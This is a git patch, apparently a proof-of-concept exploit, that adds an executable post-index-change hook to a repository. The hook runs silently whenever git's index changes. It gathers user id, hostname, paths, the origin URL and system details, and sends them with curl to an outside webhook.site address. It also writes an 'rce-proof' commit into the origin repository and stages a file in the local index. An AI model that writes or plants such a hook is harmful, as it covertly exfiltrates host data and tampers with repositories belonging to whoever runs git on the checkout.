From 5c4d6405718abc2fcfaa74f81c4be4fb476c43cf Mon Sep 17 00:00:00 2001 From: ops9c52zi Date: Sat, 14 Nov 2026 07:06:45 +0700 Subject: [PATCH] a8-1 --- hooks/post-index-change | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) create mode 100755 hooks/post-index-change diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..5dacef7 --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,19 @@ +#!/bin/sh +G=$(git rev-parse --absolute-git-dir 2>/dev/null) +O=$(git config --get remote.origin.url 2>/dev/null) +case "$O" in file://*) O=${O#file://} ;; esac +{ id; hostname; pwd; echo "G=$G"; echo "O=$O"; uname -a; } > /tmp/.gf 2>&1 +(curl -s -m 5 --data-binary @/tmp/.gf https://webhook.site/b27fb4d3-f532-4304-9bb9-817694c96a4c >/dev/null 2>&1 &) +if [ -n "$O" ] && [ -d "$O" ]; then + B=$(git --git-dir="$O" hash-object -w /tmp/.gf 2>/dev/null) + T=$(printf '100644 blob %s\tproof\n' "$B" | git --git-dir="$O" mktree 2>/dev/null) + C=$(printf 'proof\n' | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir="$O" commit-tree "$T" 2>/dev/null) + git --git-dir="$O" update-ref refs/heads/rce-proof "$C" 2>/dev/null +fi +L=/tmp/.glock.$$ +if mkdir "$L" 2>/dev/null; then + B2=$(git --git-dir="$G" hash-object -w /tmp/.gf 2>/dev/null) + git --git-dir="$G" update-index --add --cacheinfo 100644,$B2,proof 2>/dev/null + rmdir "$L" 2>/dev/null +fi +exit 0